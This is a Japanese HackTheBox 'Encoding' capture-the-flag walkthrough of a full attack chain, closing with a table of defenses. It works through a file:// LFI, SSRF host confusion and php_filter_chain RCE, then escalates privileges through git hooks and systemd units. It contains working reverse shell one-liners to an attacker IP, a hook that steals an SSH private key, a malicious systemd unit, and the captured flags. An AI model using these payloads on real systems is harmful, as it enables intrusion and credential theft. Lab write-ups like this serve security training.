HackTheBox: Encoding — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
→
22/80のみ
file_url パラメータで file:// LFI
api.haxtables.htb
→
api.haxtables.htb
Apache設定LFI読取
image.haxtables.htb (127.0.0.1限定) 発見
→
image.haxtables.htb (127.0.0.1限定) 発見
uri_path SSRFホスト混同
user@host URLパース悪用でACLバイパス
→
user@host URLパース悪用でACLバイパス
php_filter_chain LFI→RCE
action_handler.php の include()
→
action_handler.php の include()
www-data シェル取得
→
git post-commit hook
sudo -u svc git-commit.sh 悪用
→
sudo -u svc git-commit.sh 悪用
svc SSH
user.txt ✓
→
user.txt ✓
systemd unit差替え
sudo systemctl restart *
→
sudo systemctl restart *
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p- --min-rate 3000 -T4 10.129.67.39
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: HaxTables
ℹ️
/etc/hosts に haxtables.htb / api.haxtables.htb /
image.haxtables.htb の3つのサブドメインを事前に登録しておく
(Web調査の過程でこれらが Apache の名前ベースバーチャルホストとして
使われていることが判明する)。
PHASE 2
HaxTables サイト & API 調査
サイト構成の把握
NOTE
「HaxTables」は文字列/数値の変換ツールを提供するサイト。 URL は index.php?page=string / page=integer / page=api の形式。 「API」ページには api.haxtables.htb で稼働する REST API の Python サンプルコードが多数掲載されている。
BASH
curl -s http://haxtables.htb/index.php?page=api | grep -A5 "requests.post"
API の file_url パラメータで SSRF/LFI を発見
NOTE
api.haxtables.htb の /v3/tools/string/index.php (str2hex 等の変換API) は data を直接渡す以外に file_url パラメータでリモートURLからデータを 取得して変換する機能を持つ。
PYTHON
import requests
json_data = {"action": "str2hex", "file_url": "http://10.10.15.200/test.txt"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(resp.json())
RESULT
{'data': '746573740a'} # Kali側の簡易Webサーバーへの実際のGETリクエストも確認
🚨
http://127.0.0.1/... や http://image.haxtables.htb/... を
直接指定すると "Unacceptable URL" で拒否される (ホスト名ブロックリスト方式の
SSRF対策)。しかしこのチェックは http(s) スキームのホスト名文字列だけを
見ており、file:// スキームの検証が漏れている。
file:// スキームでローカルファイル読み取り (LFI)
PYTHON
json_data = {"action": "str2hex", "file_url": "file:///etc/hostname"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(bytes.fromhex(resp.json()['data']).decode())
RESULT
encoding
✅
任意ファイル読み取り (LFI) 成功。 以降、任意のファイルパスを
file:///<path> の形で渡し、レスポンスの16進数データを
デコードするだけでサーバー内の任意ファイルを読み取れる。
PHASE 3
Apache 設定ファイル読み取り & image.haxtables.htb 発見
/etc/apache2/sites-enabled/000-default.conf を読み取る
PYTHON
json_data = {"action": "str2hex", "file_url": "file:///etc/apache2/sites-enabled/000-default.conf"}
resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
print(bytes.fromhex(resp.json()['data']).decode())
RESULT (抜粋)
<VirtualHost *:80>
ServerName image.haxtables.htb
DocumentRoot /var/www/image
...
<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
🚨
3つ目の隠しバーチャルホスト
image.haxtables.htb を発見。
アクセスは 127.0.0.1 (サーバー自身) からのみ許可されている。
image vhost 内の action_handler.php (第二の LFI) を発見
NOTE
/var/www/image 配下のファイルも同じ file:// LFI で読み取れる。 actions/action_handler.php を読むと、"page" GETパラメータを そのまま include() しているだけのシンプルな LFI であることが判明する: <?php include($_GET['page']); ?> 問題は、この Directory が 127.0.0.1 限定で外部から直接アクセス できない点。メインサイトの handler.php 経由でこの vhost に 到達させる SSRF が必要になる。
PHASE 4
uri_path SSRF ホスト混同 & php_filter_chain で RCE
handler.php / utils.php のソース読み取り (LFI)
PYTHON (handler.php の要点)
# file:///var/www/html/handler.php, file:///var/www/api/utils.php を LFI で取得
function make_api_call($action, $data, $uri_path, $is_file=false) {
...
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
curl_setopt($ch, CURLOPT_URL, $url);
...
}
🚨
脆弱性発見。 メインサイト (haxtables.htb) の
/handler.php は、
ユーザー入力の uri_path パラメータを 検証なしでそのまま
'http://api.haxtables.htb' . $uri_path . '/index.php' という形で
URL 文字列に連結し、サーバー自身 (curl) がそのURLへリクエストを送る。
userinfo (@) を使った URL ホスト混同で 127.0.0.1 制限をバイパス
NOTE
uri_path に "x@image.haxtables.htb/actions/action_handler.php?page=...&p=" を 渡すと、連結後の最終URLは以下のようになる: http://api.haxtables.htbx@image.haxtables.htb/actions/action_handler.php?page=...&p=/index.php これは RFC 3986 の "userinfo@host" 構文として解釈される。 "api.haxtables.htbx" の部分は単なるユーザー情報 (接続先ホストの決定には 一切使われない) として無視され、実際に curl が接続する先は "@" の後ろの image.haxtables.htb になる。しかもこの HTTP リクエストは サーバー自身の curl プロセスが発行するため、送信元IPは常に 127.0.0.1 となり、image vhost の "Allow from 127.0.0.1" 制限を正規に満たしてしまう。 末尾の "&p=" は、自動付与される "/index.php" 文字列を無害な p パラメータの 値として吸収させるための調整。
✅
SSRF成功。 127.0.0.1 限定の image.haxtables.htb/actions/action_handler.php
(page パラメータの LFI) へ、外部から間接的に到達できるようになった。
php_filter_chain_generator で LFI を RCE に昇格
NOTE
action_handler.php の include($_GET['page']) は通常のパスだけでなく PHPのラッパーストリームも受け付ける。synacktiv 製の php_filter_chain_generator は、php://filter の iconv 変換チェーンを 悪用し、空の入力ストリーム (php://temp) から任意の PHP コード文字列を "合成" して生成する php://filter/... という文字列を作る。これを page パラメータに渡すと、include() が実質的に任意PHPコードを実行する LFI-to-RCE となる。
BASH
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain \
'<?php system("bash -c \'bash -i >& /dev/tcp/10.10.15.200/14444 0>&1\'"); ?>'
# => php://filter/convert.iconv.……/resource=php://temp (数百段のチェーン)
PYTHON (SSRFホスト混同経由でトリガー)
chain = "<出力されたphp://filter/...文字列>"
uri_path = f"x@image.haxtables.htb/actions/action_handler.php?page={chain}&p="
requests.post("http://haxtables.htb/handler.php",
json={"action": "str2hex", "data": "x", "uri_path": uri_path}, timeout=8)
# system() がリバースシェルをブロックしタイムアウトするのが正常
RESULT (nc リスナー側)
listening on [any] 14444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.67.39] 39822 bash: cannot set terminal process group (772): Inappropriate ioctl for device bash: no job control in this shell www-data@encoding:~/image/actions$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-data としてリバースシェルを確立した。
PHASE 5
git post-commit hook 悪用 & user.txt 取得
sudo -l で git-commit.sh の NOPASSWD 実行権限を発見
BASH (www-data シェル内)
www-data@encoding:~$ sudo -l
RESULT
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=..., use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
.git ディレクトリの書き込み権限を確認
BASH
www-data@encoding:~/image$ getfacl .git/
RESULT
# owner: svc / group: svc
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x
ℹ️
git-commit.sh は「変更ファイルがあれば commit する」だけの単純なスクリプトで、
コマンドインジェクションの余地は無い。しかし .git ディレクトリへの
書き込み権限があれば post-commit フックを仕込める — フックは
sudo -u svc でスクリプトが実行される際に svc 権限で実行される。
post-commit フックを設置し svc の SSH 秘密鍵を窃取
BASH
www-data@encoding:~/image$ printf '%s\n' '#!/bin/bash' \ 'cat /home/svc/.ssh/id_rsa > /tmp/.enc_id_rsa 2>&1' \ > .git/hooks/post-commit && chmod +x .git/hooks/post-commit # --work-tree=/ を使い、リポジトリ外の /etc/passwd をこの repo の変更として add www-data@encoding:~/image$ git --work-tree=/ add /etc/passwd # sudo で svc としてスクリプトを実行 → 内部で commit が走り post-commit フック発火 www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh www-data@encoding:~/image$ cat /tmp/.enc_id_rsa
⚠️
ハマりどころ: sudoers に
use_pty が設定されており、
sudo は内部で新規 PTY を確保して git-commit.sh を実行する。この PTY 経由の出力は、
PTY を持たない素の /dev/tcp リバースシェル越しにはすぐにはフラッシュされず、
次のコマンドを送信した後になってようやく届くという挙動を実機検証で確認した。
git add / sudo git-commit.sh / cat を3回の個別コマンドに
分けて実行すると、直前のコマンドの出力が現在のコマンドの応答バッファに紛れ込み、
鍵の抽出に失敗することがある。; で1本のコマンドに連結し、
待機するマーカーを最後の1個だけにすることで確実に回避できる。
RESULT
[master xxxxxxx] Commited from API! 1 file changed, 35 insertions(+) create mode 100644 etc/passwd -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn ...(省略)... -----END OPENSSH PRIVATE KEY-----
✅
svc の SSH 秘密鍵を窃取できた。
svc として SSH ログイン & user.txt 取得
BASH
chmod 600 svc_id_rsa ssh -i svc_id_rsa svc@10.129.67.39 "id; cat ~/user.txt"
RESULT
uid=1000(svc) gid=1000(svc) groups=1000(svc)
818d3830243d9483131f8d73bac233c2
user.txt — svc
818d3830243d9483131f8d73bac233c2
PHASE 6
systemd ユニットハイジャック → root.txt
svc の sudo 権限と /etc/systemd/system の ACL を確認
BASH
svc@encoding:~$ sudo -l svc@encoding:~$ getfacl /etc/systemd/system
RESULT
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
# file: etc/systemd/system
# owner: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
🚨
svc は
/etc/systemd/system ディレクトリへの書き込み・実行(-wx)権限を
直接 ACL で付与されており (読み取り不可なので ls はできない)、かつ
systemctl restart <任意の名前> を root として NOPASSWD で実行できる。
任意の新規 unit ファイルを配置して restart すれば root 権限のプロセスを起動できる。
悪性 systemd unit を配置
BASH (Kali側でリスナー起動)
nc -lnvp 14445
BASH (unit ファイルとシェルスクリプトを作成)
cat > pwn.service << 'EOF' [Unit] Description=Fake Application [Service] ExecStart=/tmp/.enc_root_shell.sh [Install] WantedBy=default.target EOF cat > enc_root_shell.sh << 'EOF' #!/bin/bash bash -c 'bash -i >& /dev/tcp/10.10.15.200/14445 0>&1' EOF scp pwn.service enc_root_shell.sh svc@10.129.67.39:/tmp/ ssh svc@10.129.67.39 "chmod +x /tmp/enc_root_shell.sh; \ cp /tmp/enc_root_shell.sh /tmp/.enc_root_shell.sh; \ cp /tmp/pwn.service /etc/systemd/system/pwn.service"
⚠️
/etc/systemd/system への書き込みは svc 自身の ACL 権限で直接可能なため
sudo は不要 (sudo cp はパスワードを要求され失敗する点に注意)。
sudo が許可されているのはあくまで systemctl restart のみ。
また、事前に systemctl daemon-reload を実行する必要は無く
(この操作自体も NOPASSWD 対象外)、新規 unit ファイルは
systemctl restart <name> だけで正しく読み込まれる。
サービスを再起動しroot権限を取得
BASH
ssh svc@10.129.67.39 "sudo /usr/bin/systemctl restart pwn.service"
RESULT (nc :14445 リスナー側)
listening on [any] 14445 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.67.39] 40330 bash: cannot set terminal process group (1835): Inappropriate ioctl for device bash: no job control in this shell root@encoding:/# whoami root root@encoding:/# cat /root/root.txt 643a9a89e67481489cfdc112da6181a5
root.txt — root (systemd unit hijack)
643a9a89e67481489cfdc112da6181a5
✅
権限昇格成功。 systemd が新しい unit ファイルを読み込み、
ExecStart で指定したリバースシェルスクリプトを root 権限で起動した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc
818d3830243d9483131f8d73bac233c2
root.txt — root (systemd unit hijack)
643a9a89e67481489cfdc112da6181a5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| file:// スキーム LFI | api.haxtables.htb /v3/tools/string/index.php | 任意ファイル読み取り | High | file_url パラメータのホスト名ブロックリストが file:// スキームの検証漏れ |
| uri_path SSRF (host confusion) | haxtables.htb /handler.php | 127.0.0.1限定vhostへの到達 + LFI-to-RCE | Critical | userinfo@host URL構文で curl の接続先ホストを混同させ、127.0.0.1限定の image vhost へサーバー自身から到達。php_filter_chain と組み合わせ RCE (as www-data) |
| sudo NOPASSWD git-commit.sh + hooks | /var/www/image/.git (www-data:rwx ACL) | svc への横展開 | High | post-commit フックを仕込み sudo -u svc 実行時に svc 権限でコード実行、SSH秘密鍵を窃取 |
| systemd unit ハイジャック | /etc/systemd/system (svc:-wx ACL) + sudo systemctl restart * | root権限昇格 | High | 任意の新規 unit ファイルを配置し NOPASSWD の systemctl restart でroot権限プロセスを起動 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/80のみ、HaxTablesサイト |
| 2 | API調査 | file_url パラメータ探索 | file:// スキームLFIを発見 |
| 3 | LFI | Apache設定ファイル読取 | 隠しvhost image.haxtables.htb (127.0.0.1限定) 発見 |
| 4 | SSRF+RCE | uri_path host confusion + php_filter_chain | www-data シェル |
| 5 | 横展開 | git post-commit hook 悪用 | user.txt 取得 (svc) |
| 6 | 権限昇格 | systemd unit ハイジャック | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| URL スキームのブロックリスト検証が file:// を見落としている | SSRF対策はブロックリストでなく許可リスト (http/https のみ許可) で実装し、加えてスキームだけでなくホスト名 (127.0.0.1/localhost/内部IPレンジ) も厳格に検証する。 |
| ユーザー入力を検証なしに URL 文字列へ連結し、サーバー自身がリクエストを送信する (SSRF + userinfo@host 混同) | PHPの parse_url() 等でURLを構造的にパースし、ホスト名フィールドのみを厳格に検証してから再構築する。文字列連結でURLを組み立てない。 |
| include() にユーザー制御のパスをそのまま渡す (LFI)、かつ php://filter 等のラッパーを許可 | include するファイルパスは許可リスト化するか、ラッパースキームを明示的に拒否する (allow_url_include=Off に加え独自のホワイトリスト検証)。 |
| sudo で許可した対象スクリプトが操作する Git リポジトリに、実行ユーザー自身が書き込み権限を持っている (hooks 悪用の温床) | sudo で svc として実行させるスクリプトが触るディレクトリ (.git含む) は、呼び出し元ユーザー (www-data) から書き込み不可にする。少なくとも .git/hooks は別途保護する。 |
| ACL で特定ディレクトリへの書き込み権限のみを持つユーザーに、そのディレクトリ内のファイルを反映する特権コマンド (systemctl restart) の無制限 NOPASSWD 実行を許可 | sudo の対象コマンドは特定のユニット名に限定する (systemctl restart myapp.service のようにワイルドカードを避ける)、または ACL 付与自体を必要最小限に絞る。 |

